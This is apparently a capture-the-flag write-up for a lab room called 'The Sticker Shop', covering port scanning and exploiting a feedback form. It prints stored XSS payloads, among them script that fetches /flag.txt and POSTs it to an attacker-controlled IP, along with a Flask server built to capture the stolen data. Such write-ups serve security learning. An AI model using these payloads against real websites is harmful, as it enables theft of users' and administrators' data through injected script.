Post

The Sticker Shop

Can you exploit the sticker shop in order to capture the flag?

The Sticker Shop

Room

Room Card

  • Title: Sticker Shop
  • Name: The Sticker Shop
  • Description: Can you exploit the sticker shop in order to capture the flag?
  • Creator: toxicat0r

Flags

  1. What is the content of flag.txt?

Initial Recon

Let’s start scanning for open ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
m3ga@kali:~$ nmap -sS -Pn -v -p- -T4 -A -oN portscan.nmap 10.10.248.122

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
|   256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_  256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open  http-proxy Werkzeug/3.0.1 Python/3.8.10
|_http-title: Cat Sticker Shop
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10

Didn’t find anything too interesting so I started to enumerate the webserver on port 8080.

From the task description, our objective is to read the /flag.txt file. However, we are unable to do so as we get a 401 Unauthorized.

Navigating to the homepage, we see the option to submit feedback!

Based on the task description, I suspect that there is a XSS vulnerability. To test this, I set up a simple webserver and try to submit an XSS payload to call back to my server.

1
2
3
m3ga@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Here is that payload that I submitted.

1
<script>var i = new Image(); i.src="http://10.11.75.248"</script>

Almost immediately, I got a response.

Flag

To exploit this, we can easily craft a payload that fetches the content of /flag.txt and submits it to a server controlled by us.

Firstly, I have a simple web server that I use for these challenges. Here is the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# server.py

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/capture', methods=['POST', 'OPTIONS'])
def capture():
    if request.method == 'OPTIONS':
        # Respond to preflight with appropriate headers
        response = jsonify(success=True)
        response.headers.add('Access-Control-Allow-Origin', '*')  # Allow any origin
        response.headers.add('Access-Control-Allow-Methods', 'POST')  # Allow only POST
        response.headers.add('Access-Control-Allow-Headers', 'Content-Type')  # Allow specific headers
        return response, 200
    elif request.method == 'POST':
        # Handle the actual POST request
        data = request.json.get('flag')
        print(f"Captured flag: {data}")
        return jsonify(success=True), 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

To start the server, we simply do:

1
2
3
4
m3ga@kali:$ python3 ./server.py
* Serving Flask app 'server'
* Debug mode: off
...

Once that’s done, we will submit our payload which is this:

1
2
3
4
5
6
7
8
9
10
11
<script>
  fetch('/flag.txt')
    .then(response => response.text())
    .then(data => {
      fetch('http://10.11.75.248/capture', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ flag: data })
      });
    });
</script>

and as a one-liner:

1
<script>fetch('/flag.txt').then(r=>r.text()).then(d=>fetch('http://10.11.75.248/capture',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({flag:d})}));</script>

After submitting this payload, we will get the flag.

Outro

Many thanks to the creator of this room, toxicat0r.

This room was one of the easiest challenges in a while for sure; still the feeling of completing the objective never gets old.

- m3gakr4nus

This post is licensed under CC BY 4.0 by the author.